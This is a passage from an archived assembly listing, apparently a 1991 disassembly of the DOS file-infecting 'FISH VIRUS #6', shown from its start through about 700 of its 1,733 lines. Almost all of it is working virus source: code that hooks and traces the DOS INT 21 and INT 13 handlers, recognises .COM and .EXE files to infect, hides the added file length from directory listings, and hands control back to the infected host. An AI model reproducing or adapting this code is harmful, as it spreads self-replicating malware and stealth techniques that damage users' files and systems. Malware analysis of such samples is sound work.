home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-F.ZIP / FISH_.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  41KB  |  1,733 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                     ██
  6. ;██                FISH_                     ██
  7. ;██                                     ██
  8. ;██     Created:   1-Jan-80                         ██
  9. ;██     Version:                             ██
  10. ;██     Code type: zero start                         ██
  11. ;██     Passes:    9           Analysis Options on: A             ██
  12. ;██                                     ██
  13. ;██     Disassembled by: Sir John -- 13-Mar-91              ██
  14. ;██                                     ██
  15. ;██                                     ██
  16. ;██████████████████████████████████████████████████████████████████████████
  17.  
  18. data_1e     equ    0Ah            ; (0000:000A=0)
  19. data_3e     equ    12h            ; (0000:0012=70h)
  20. data_4e     equ    14h            ; (0000:0014=0FF54h)
  21. data_5e     equ    18h            ; (0000:0018=0FF23h)
  22. data_6e     equ    1Ah            ; (0000:001A=0F000h)
  23. data_7e     equ    475h            ; (0000:0475=1)
  24. data_8e     equ    data_23 - virus_entry + 3    ; jmp_len = 3
  25. MCB_0003    equ    3            ; Siza of memory block in paragraphs
  26. PSP_0003    equ    3            ; Memory size in paragraphs
  27. PSP_000A    equ    0Ah            ; (026E:000A=0)
  28. COM_beg     equ    100h            ; .COM file beginning
  29. data_33e    equ    0B3h            ; (cs:00B3=5)
  30. all_len     equ    1000h
  31. encr_len    equ    ((locloop_105 - vir_beg) and 0fffeh)+vir_beg - data_311
  32. vir_len     equ    vir_end - vir_beg
  33. read_len    equ    1Ch
  34.  
  35. seg_a        segment byte public
  36.         assume    cs:seg_a, ds:seg_a
  37.  
  38.         org    0
  39.  
  40. vir_beg:    db    0
  41.         jmp    virus_entry        ; (0DCE)
  42. data_23     dw    20CDh            ; original file content
  43. data_24     dw    0
  44. data_26     dw    0
  45.         db    8 dup (0)
  46. data_27     dw    0
  47. data_28     dw    0
  48.         db    0, 0
  49. data_29     dd    0
  50.         db    0, 0, 0, 0
  51. exe_flag    db    0
  52.  
  53.  
  54. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  55. ;                   SUBROUTINE
  56. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  57.  
  58. sub_1        proc    near
  59.         pushf
  60.         call    dword ptr cs:INT_21_ptr ; (cs:0E35=0)
  61.         retn
  62. sub_1        endp
  63.  
  64. data_311    db    0
  65.         db    'COD'
  66.  
  67. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  68. ;                   SUBROUTINE
  69. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  70.  
  71. sub_2        proc    near
  72.         pop    cs:tmp_adr        ; (cs:0EEA=0)
  73.         pushf
  74.         push    ax
  75.         push    bx
  76.         push    cx
  77.         push    dx
  78.         push    si
  79.         push    di
  80.         push    ds
  81.         push    es
  82.         jmp    word ptr cs:tmp_adr    ; (cs:0EEA=0)
  83. sub_2        endp
  84.  
  85. sub_3        proc    near
  86.         pop    cs:tmp_adr        ; (cs:0EEA=0)
  87.         pop    es
  88.         pop    ds
  89.         pop    di
  90.         pop    si
  91.         pop    dx
  92.         pop    cx
  93.         pop    bx
  94.         pop    ax
  95.         popf
  96.         jmp    word ptr cs:tmp_adr    ; (cs:0EEA=0)
  97. sub_3        endp
  98.  
  99.         db    'SHARK'
  100.  
  101. sub_4        proc    near
  102.         mov    cs:old_SP,sp        ; (cs:0F57=0)
  103.         mov    cs:old_SS,ss        ; (cs:0F59=151Ch)
  104.         push    cs
  105.         pop    ss
  106.         mov    sp,cs:virus_SP        ; (cs:0F5B=0)
  107.         db    2Eh
  108.         call    sub_3            ; Pop flags and registers
  109.         mov    ss,cs:old_SS        ; (cs:0F59=151Ch)
  110.         mov    cs:virus_SP,sp        ; (cs:0F5B=0)
  111.         mov    sp,cs:old_SP        ; (cs:0F57=0)
  112.         retn
  113. sub_4        endp
  114.  
  115.  
  116. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  117. ;                   SUBROUTINE
  118. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  119.  
  120. sub_5        proc    near
  121.         mov    cs:old_SP,sp        ; (cs:0F57=0)
  122.         mov    cs:old_SS,ss        ; (cs:0F59=151Ch)
  123.         push    cs
  124.         pop    ss
  125.         mov    sp,cs:virus_SP        ; (cs:0F5B=0)
  126.         db    2Eh
  127.         call    sub_2            ; Push flags and registers
  128.         mov    ss,cs:old_SS        ; (cs:0F59=151Ch)
  129.         mov    cs:virus_SP,sp        ; (cs:0F5B=0)
  130.         mov    sp,cs:old_SP        ; (cs:0F57=0)
  131.         retn
  132. sub_5        endp
  133.  
  134.         db    08Ch
  135.  
  136. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  137. ;                   SUBROUTINE
  138. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  139.  
  140. sub_6        proc    near
  141.         mov    si,offset data_70    ; (cs:0E4B=0)
  142.         les    di,cs:INT_21_ptr    ; (cs:0E35=0) Load 32 bit ptr
  143.         push    cs
  144.         pop    ds
  145.         cld                ; Clear direction
  146.         mov    cx,5
  147. locloop_1:    lodsb                ; String [si] to al
  148.         xchg    al,es:[di]
  149.         mov    [si-1],al
  150.         inc    di
  151.         loop    locloop_1        ; Loop if cx > 0
  152.         retn
  153. sub_6        endp
  154.  
  155.         db    'CARP'
  156.  
  157. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  158. ;                   SUBROUTINE
  159. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  160.  
  161. sub_7        proc    near
  162.         mov    al,1
  163.         push    cs
  164.         pop    ds
  165.         mov    dx,offset tracer
  166.         call    sub_8            ; Set INT 01 vector
  167.         retn
  168. sub_7        endp
  169.  
  170.  
  171. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  172. ;                   SUBROUTINE
  173. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  174.  
  175. sub_8        proc    near
  176.         push    es
  177.         push    bx
  178.         xor    bx,bx            ; Zero register
  179.         mov    es,bx
  180.         mov    bl,al
  181.         shl    bx,1            ; Shift w/zeros fill
  182.         shl    bx,1            ; Shift w/zeros fill
  183.         mov    es:[bx],dx
  184.         mov    es:[bx+2],ds
  185.         pop    bx
  186.         pop    es
  187.         retn
  188. sub_8        endp
  189.  
  190.  
  191. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  192. ;                   SUBROUTINE
  193. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  194.  
  195. sub_9        proc    near
  196.         push    ds
  197.         push    si
  198.         xor    si,si            ; Zero register
  199.         mov    ds,si
  200.         xor    ah,ah            ; Zero register
  201.         mov    si,ax
  202.         shl    si,1            ; Shift w/zeros fill
  203.         shl    si,1            ; Shift w/zeros fill
  204.         mov    bx,[si]
  205.         mov    es,[si+2]
  206.         pop    si
  207.         pop    ds
  208.         retn
  209. sub_9        endp
  210.  
  211.         db    'BASS'
  212.  
  213. virus:        call    sub_13            ; (03AD)
  214.         db    0B9h
  215.         call    sub_25            ; (0B57)
  216.         db    08Eh
  217.         mov    cs:old_AX,ax        ; (cs:0EE3=0)
  218.         mov    ah,52h
  219.         mov    cs:virus_SP,1000h    ; (cs:0F5B=0)
  220.         mov    cs:old_DS,ds        ; (cs:0E45=26Eh)
  221.         call    sub_29            ; (0C97)
  222.         db    0EBh
  223.         int    21h            ; DOS Services    ah=function 52h
  224.                         ;  get DOS data table ptr es:bx
  225.         mov    ax,es:[bx-2]        ; Segment of first MCB
  226.         mov    cs:data_69,ax        ; (cs:0E47)
  227.         push    cs
  228.         pop    ds
  229.         call    sub_25            ; (0B57)
  230.         db    0A1h
  231.         mov    al,21h
  232.         call    sub_9            ; Get INT 21 vector
  233.         mov    INT_13_prt+2,es     ; (cs:0E2F) - uses it as temp. ptr
  234.         mov    INT_13_prt,bx        ; (cs:0E2D)
  235.         mov    dx,offset tracer
  236.         mov    al,1
  237.         mov    byte ptr data_73,0    ; (cs:0E50)
  238.         call    sub_8            ; Set INT 01 to tracer
  239.         pushf
  240.         pop    ax
  241.         or    ax,100h         ; Set TF to trace INT 21
  242.         push    ax
  243.         popf
  244.         pushf
  245.         mov    ah,61h
  246.         call    dword ptr INT_13_prt    ; (cs:0E2D) - trace INT 21
  247.         pushf
  248.         pop    ax
  249.         and    ax,0FEFFh        ; Clear TF
  250.         push    ax
  251.         popf
  252.         call    sub_12            ; (033B)
  253.         db    0A3h
  254.         les    di,dword ptr INT_13_prt    ; (cs:0E2D) Load 32 bit ptr
  255.         mov    word ptr INT_21_ptr+2,es   ; (cs:0E37)
  256.         mov    byte ptr data_70,0EAh    ; (cs:0E4B) - jmp xxxx:xxxx opcode
  257.         mov    data_71,offset loc_1021 ; (cs:0E4C)
  258.         mov    word ptr INT_21_ptr,di    ; (cs:0E35)
  259.         mov    data_72,cs        ; (cs:0E4E=7DBCh)
  260.         call    sub_10            ; (0180)
  261.         call    sub_6            ; Swap JMP xxxx:xxxx
  262.         call    sub_26            ; (0B96)
  263.         db    089h
  264.  
  265. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  266. ;                   SUBROUTINE
  267. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  268.  
  269. sub_10        proc    near
  270.         mov    al,2Fh
  271.         call    sub_9            ; Get INT 2F vector
  272.         mov    bx,es
  273.         cmp    cs:data_69,bx        ; (cs:0E47=0)
  274.         jae    loc_ret_4        ; Jump if above or =
  275.         call    sub_27            ; (0BD0)
  276.         mov    ds,cs:INT_13_prt+2    ; (cs:0E2F=140Bh)
  277.         push    cs:INT_13_prt        ; (cs:0E2D=0)
  278.         pop    dx
  279.         mov    al,13h
  280.         call    sub_8            ; Set INT 13 vector
  281.         xor    bx,bx            ; Zero register
  282.         mov    ds,bx
  283.         mov    byte ptr ds:data_7e,2    ; (0000:0475=1)
  284. loc_ret_4:    retn
  285. sub_10        endp
  286.  
  287.         db    ' FISH VIRUS #6 - EACH DIFF - BON'
  288.         db    'N 2/90 ', 27h, '~knzyvo}', 27h, '$'
  289. loc_4_1:
  290.         call    sub_6            ; Swap JMP xxxx:xxxx
  291.         mov    cs:data_72,cs        ; (cs:0E4E=7DBCh)
  292.         call    sub_6            ; Swap JMP xxxx:xxxx
  293.         push    cs
  294.         pop    ds
  295.         push    ds
  296.         pop    es
  297.         mov    ax,old_DS        ; (cs:0E45=26Eh)
  298.         mov    es,ax
  299.         lds    dx,dword ptr es:PSP_000A    ; Load 32 bit ptr - terminate addr
  300.         mov    ds,ax
  301.         add    ax,10h
  302.         add    word ptr cs:data_29+2,ax    ; (cs:001A=0)
  303.         cmp    cs:exe_flag,0        ; (cs:0020=0)
  304.         sti                ; Enable interrupts
  305.         jnz    loc_5            ; Jump if not zero
  306.         mov    ax,cs:data_23        ; (cs:0004=0FBE9h)
  307.         mov    ds:COM_beg,ax        ; (026E:0100=0)
  308.         mov    ax,cs:data_24        ; (cs:0006=0)
  309.         mov    ds:COM_beg+2,ax     ; (026E:0102=1700h)
  310.         mov    ax,cs:data_26        ; (cs:0008=0)
  311.         mov    ds:COM_beg+4,ax     ; (026E:0104=9Ch)
  312.         push    cs:old_DS        ; (cs:0E45=26Eh)
  313.         xor    ax,ax            ; Zero register
  314.         inc    ah
  315.         push    ax
  316.         mov    ax,cs:old_AX        ; (cs:0EE3=0)
  317.         retf                ; Jmp cs:100
  318. loc_5:
  319.         add    cs:data_27,ax        ; (cs:0012=0)
  320.         mov    ax,cs:old_AX        ; (cs:0EE3=0)
  321.         mov    sp,cs:data_28        ; (cs:0014=0)
  322.         mov    ss,cs:data_27        ; (cs:0012=0)
  323.         jmp    cs:data_29        ; (cs:0018=0)
  324.  
  325.         db    'TROUT'
  326.  
  327. loc_7:
  328.         xor    sp,sp            ; Zero register
  329.         call    sub_11            ; (024F)
  330.  
  331. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  332. ;                   SUBROUTINE
  333. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  334.  
  335. sub_11        proc    near
  336.         mov    bp,ax
  337.         mov    ax,cs
  338.         mov    bx,10h
  339.         mul    bx            ; dx:ax = reg * ax
  340.         pop    cx
  341.         sub    cx,24Fh
  342.         add    ax,cx
  343.         adc    dx,0
  344.         div    bx            ; ax,dx rem=dx:ax/reg
  345.         push    ax
  346.         mov    ax,offset virus
  347.         push    ax
  348.         mov    ax,bp
  349.         retf                ; Return far
  350. sub_11        endp
  351.  
  352. loc_9:
  353.         call    sub_12            ; (033B)
  354.         db    0CDh
  355.         call    sub_29            ; (0C97)
  356.         db    0CBh
  357.         push    bx
  358.         mov    bx,sp
  359.         mov    bx,ss:[bx+6]
  360.         mov    cs:data_85,bx        ; (cs:0EB3=0)
  361.         pop    bx
  362.         push    bp
  363.         mov    bp,sp
  364.         call    sub_25            ; (0B57)
  365.         db    0A3h
  366.         call    sub_5            ; Push all in vir's stack
  367.         call    sub_6            ; Swap JMP xxxx:xxxx
  368.         call    sub_4            ; Pop all from vir's stack
  369.         call    sub_2            ; Push flags and registers
  370.         call    sub_25            ; (0B57)
  371.         db    088h
  372.         cmp    ah,0Fh
  373.         jne    loc_11            ; Jump if not equal
  374.         jmp    loc_32            ; (0389)
  375.         db    0B8h
  376. loc_11:
  377.         cmp    ah,11h
  378.         jne    loc_12            ; Jump if not equal
  379.         jmp    dos_11_12           ; (0344)
  380.         db    0A1h
  381. loc_12:
  382.         cmp    ah,12h
  383.         jne    loc_13            ; Jump if not equal
  384.         jmp    dos_11_12           ; (0344)
  385.         db    089h
  386. loc_13:
  387.         cmp    ah,14h
  388.         jne    loc_14            ; Jump if not equal
  389.         jmp    dos_14            ; (03C4)
  390.         db    0EBh
  391. loc_14:
  392.         cmp    ah,21h
  393.         jne    loc_15            ; Jump if not equal
  394.         jmp    dos_21            ; (03B8)
  395.         db    08Ch
  396. loc_15:
  397.         cmp    ah,23h
  398.         jne    loc_16            ; Jump if not equal
  399.         jmp    dos_23            ; (0451)
  400.         db    0A3h
  401. loc_16:
  402.         cmp    ah,27h
  403.         jne    loc_17            ; Jump if not equal
  404.         jmp    dos_27            ; (03B6)
  405.         db    0EBh
  406. loc_17:
  407.         cmp    ah,3Dh
  408.         jne    loc_18            ; Jump if not equal
  409.         jmp    dos_3D            ; (04A5)
  410.         db    0FFh
  411. loc_18:
  412.         cmp    ah,3Eh
  413.         jne    loc_19            ; Jump if not equal
  414.         jmp    dos_3E            ; (04E9)
  415.         db    0A1h
  416. loc_19:
  417.         cmp    ah,3Fh
  418.         jne    loc_20            ; Jump if not equal
  419.         jmp    dos_3F            ; (0A6E)
  420.         db    088h
  421. loc_20:
  422.         cmp    ah,42h
  423.         jne    loc_21            ; Jump if not equal
  424.         jmp    dos_42            ; (0A3C)
  425.         db    08Ch
  426. loc_21:
  427.         cmp    ah,4Bh
  428.         jne    loc_22            ; Jump if not equal
  429.         jmp    dos_4B            ; (051F)
  430.         db    0EBh
  431. loc_22:
  432.         cmp    ah,4Eh
  433.         jne    loc_24            ; Jump if not equal
  434.         jmp    dos_4E_4F           ; (0B5F)
  435.         db    089h
  436. loc_24:
  437.         cmp    ah,4Fh
  438.         jne    loc_25            ; Jump if not equal
  439.         jmp    dos_4E_4F           ; (0B5F)
  440.         db    08Eh
  441. loc_25:
  442.         cmp    ah,57h
  443.         jne    loc_26            ; Jump if not equal
  444.         jmp    dos_57            ; (09ED)
  445. loc_26:
  446.         jmp    loc_96            ; (0C78)
  447.         db    0EBh
  448. loc_27:
  449.         call    sub_29            ; (0C97)
  450.         db    0A1h
  451.         call    sub_5            ; Push all in vir's stack
  452.         call    sub_6            ; Swap JMP xxxx:xxxx
  453.         call    sub_4            ; Pop all from vir's stack
  454.         mov    bp,sp
  455.         push    cs:data_85        ; (cs:0EB3=0)
  456.         pop    word ptr [bp+6]
  457.         pop    bp
  458.         iret
  459.  
  460. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  461. ;                   SUBROUTINE
  462. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  463.  
  464. sub_12        proc    near
  465.         inc    cs:_null__        ; (cs:0E31=0)
  466.         jmp    loc_91            ; (0B57)
  467. sub_12        endp
  468.  
  469.         db    0A1h
  470. dos_11_12:
  471.         call    sub_3            ; Pop flags and registers
  472.         call    sub_1            ; Call INT 21
  473.         or    al,al            ; Zero ?
  474.         jnz    loc_27            ; Jump if not zero
  475.         call    sub_2            ; Push flags and registers
  476.         call    sub_14            ; (0515)
  477.         mov    al,0
  478.         cmp    byte ptr [bx],0FFh
  479.         jne    loc_30            ; Jump if not equal
  480.         mov    al,[bx+6]
  481.         add    bx,7
  482. loc_30:
  483.         and    cs:data_100,al        ; (cs:0EF0=0)
  484.         test    byte ptr [bx+1Ah],80h
  485.         jz    dos_0F            ; Jump if zero
  486.         sub    byte ptr [bx+1Ah],0C8h
  487.         cmp    byte ptr cs:data_100,0    ; (cs:0EF0=0)
  488.         jne    dos_0F            ; Jump if not equal
  489.         sub    word ptr [bx+1Dh],0E00h
  490.         sbb    word ptr [bx+1Fh],0
  491. dos_0F:
  492.         call    sub_3            ; Pop flags and registers
  493.         jmp    short loc_27        ; (0322)
  494.  
  495.         db    'FIN'
  496.  
  497. loc_32:
  498.         call    sub_3            ; Pop flags and registers
  499.         call    sub_1            ; Call INT 21
  500.         call    sub_2            ; Push flags and registers
  501.         or    al,al            ; Zero ?
  502.         jnz    dos_0F            ; Jump if not zero
  503.         mov    bx,dx
  504.         test    byte ptr [bx+15h],80h
  505.         jz    dos_0F            ; Jump if zero
  506.         sub    byte ptr [bx+15h],0C8h
  507.         sub    word ptr [bx+10h],0E00h
  508.         sbb    byte ptr [bx+12h],0
  509.         jmp    short dos_0F        ; (0381)
  510.  
  511. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  512. ;                   SUBROUTINE
  513. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  514.  
  515. sub_13        proc    near
  516.         dec    cs:_null__        ; (cs:0E31=0)
  517.         jmp    loc_91            ; (0B57)
  518. sub_13        endp
  519.  
  520.         db    0A3h
  521. dos_27:
  522.         jcxz    loc_37            ; Jump if cx=0
  523. dos_21:
  524.         mov    bx,dx
  525.         mov    si,[bx+21h]
  526.         or    si,[bx+23h]
  527.         jnz    loc_37            ; Jump if not zero
  528.         jmp    short loc_36        ; (03CE)
  529. dos_14:
  530.         mov    bx,dx
  531.         mov    ax,[bx+0Ch]
  532.         or    al,[bx+20h]
  533.         jnz    loc_37            ; Jump if not zero
  534. loc_36:
  535.         call    sub_18            ; Recognize .COM/.EXE file
  536.         jnc    loc_38            ; Jump if carry=0
  537. loc_37:
  538.         jmp    loc_26            ; (031E)
  539. loc_38:
  540.         call    sub_3            ; Pop flags and registers
  541.         call    sub_2            ; Push flags and registers
  542.         call    sub_1            ; Call INT 21
  543.         mov    [bp-8],cx
  544.         mov    [bp-4],ax
  545.         push    ds
  546.         push    dx
  547.         call    sub_14            ; (0515)
  548.         cmp    word ptr [bx+14h],1
  549.         je    loc_39            ; Jump if equal
  550.         mov    ax,[bx]
  551.         add    ax,[bx+2]
  552.         push    bx
  553.         mov    bx,[bx+4]
  554.         not    bx
  555.         add    ax,bx
  556.         pop    bx
  557.         jz    loc_39            ; Jump if zero
  558.         add    sp,4
  559.         jmp    dos_0F            ; (0381)
  560.  
  561.         db    'MUSKY'
  562.  
  563. loc_39:
  564.         pop    dx
  565.         pop    ds
  566.         mov    si,dx
  567.         push    cs
  568.         pop    es
  569.         mov    cx,25h
  570.         mov    di,offset data_86    ; (cs:0EB5=0)
  571.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  572.         mov    di,offset data_86    ; (cs:0EB5=0)
  573.         push    cs
  574.         pop    ds
  575.         mov    dx,[di+12h]
  576.         mov    ax,[di+10h]
  577.         add    ax,0E0Fh
  578.         adc    dx,0
  579.         and    ax,0FFF0h
  580.         mov    [di+12h],dx
  581.         mov    [di+10h],ax
  582.         sub    ax,vir_len + vir_beg - data_28
  583.         sbb    dx,0
  584.         mov    [di+23h],dx
  585.         mov    [di+21h],ax
  586.         mov    cx,1Ch
  587.         mov    word ptr [di+0Eh],1
  588.         mov    ah,27h            ; Random block read
  589.         mov    dx,di            ; DS:DX -> FCB
  590.         call    sub_1            ; Call INT 21
  591.         jmp    dos_0F            ; (0381)
  592. dos_23:
  593.         push    cs
  594.         pop    es
  595.         mov    di,offset data_86    ; (cs:0EB5=0)
  596.         mov    cx,25h
  597.         mov    si,dx
  598.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  599.         push    ds
  600.         push    dx
  601.         push    cs
  602.         pop    ds
  603.         mov    ah,0Fh            ; Open disk file
  604.         mov    dx,offset data_86    ; DS:DX -> FCB
  605.         call    sub_1            ; Call INT 21
  606.         mov    ah,10h            ; Close file
  607.         call    sub_1            ; Call INT 21
  608.         test    byte ptr data_89,80h    ; (cs:0ECA=0)
  609.         pop    si
  610.         pop    ds
  611.         jz    loc_41
  612.         les    bx,cs:data_88        ; (cs:0EC5) Load 32 bit ptr
  613.         mov    ax,es
  614.         sub    bx,vir_len
  615.         sbb    ax,0
  616.         xor    dx,dx
  617.         mov    cx,cs:data_87        ; (cs:0EC3)
  618.         dec    cx
  619.         add    bx,cx
  620.         adc    ax,0
  621.         inc    cx
  622.         div    cx            ; ax,dx rem=dx:ax/reg
  623.         mov    [si+23h],ax
  624.         xchg    ax,dx
  625.         xchg    ax,bx
  626.         div    cx            ; ax,dx rem=dx:ax/reg
  627.         mov    [si+21h],ax
  628.         jmp    dos_0F            ; (0381)
  629. loc_41:
  630.         jmp    loc_26            ; (031E)
  631. dos_3D:
  632.         call    sub_20            ; (0914)
  633.         call    sub_19            ; Recognize .COM/.EXE file
  634.         jc    loc_44            ; Jump if carry Set
  635.         cmp    byte ptr cs:data_76,0    ; (cs:0EA2=0)
  636.         je    loc_44            ; Jump if equal
  637.         call    sub_21            ; (0921)
  638.         cmp    bx,0FFFFh
  639.         je    loc_44            ; Jump if equal
  640.         dec    cs:data_76        ; (cs:0EA2=0)
  641.         push    cs
  642.         pop    es
  643.         mov    cx,14h
  644.         mov    di,offset file_name    ; (cs:0E52=0)
  645.         xor    ax,ax            ; Zero register
  646.         repne    scasw            ; Rep zf=0+cx >0 Scan es:[di] for ax
  647.         mov    ax,cs:data_77        ; (cs:0EA3=0)
  648.         mov    es:[di-2],ax
  649.         mov    es:[di+26h],bx
  650.         mov    [bp-4],bx
  651. loc_43:
  652.         and    byte ptr cs:data_85,0FEh    ; (cs:0EB3=0)
  653.         jmp    dos_0F            ; (0381)
  654. loc_44:
  655.         jmp    loc_26            ; (031E)
  656. dos_3E:
  657.         push    cs
  658.         pop    es
  659.         call    sub_20            ; (0914)
  660.         mov    cx,14h
  661.         mov    ax,cs:data_77        ; (cs:0EA3=0)
  662.         mov    di,offset file_name    ; (cs:0E52=0)
  663. loc_46:
  664.         repne    scasw            ; Rep zf=0+cx >0 Scan es:[di] for ax
  665.         jnz    loc_47            ; Jump if not zero
  666.         cmp    bx,es:[di+26h]
  667.         jne    loc_46            ; Jump if not equal
  668.         mov    word ptr es:[di-2],0
  669.         call    sub_15            ; (0722)
  670.         inc    cs:data_76        ; (cs:0EA2=0)
  671.         jmp    short loc_43        ; (04DD)
  672. loc_47:
  673.         jmp    loc_26            ; (031E)
  674.  
  675. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  676. ;                   SUBROUTINE
  677. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  678.  
  679. sub_14        proc    near
  680.         mov    ah,2Fh            ; Get disk transfer area address
  681.         push    es
  682.         call    sub_1            ; Call INT 21
  683.         push    es
  684.         pop    ds
  685.         pop    es
  686.         retn
  687. sub_14        endp
  688.  
  689. dos_4B:
  690.         or    al,al            ; Zero ?
  691.         jz    loc_49            ; Jump if zero
  692.         jmp    loc_56            ; (067C)
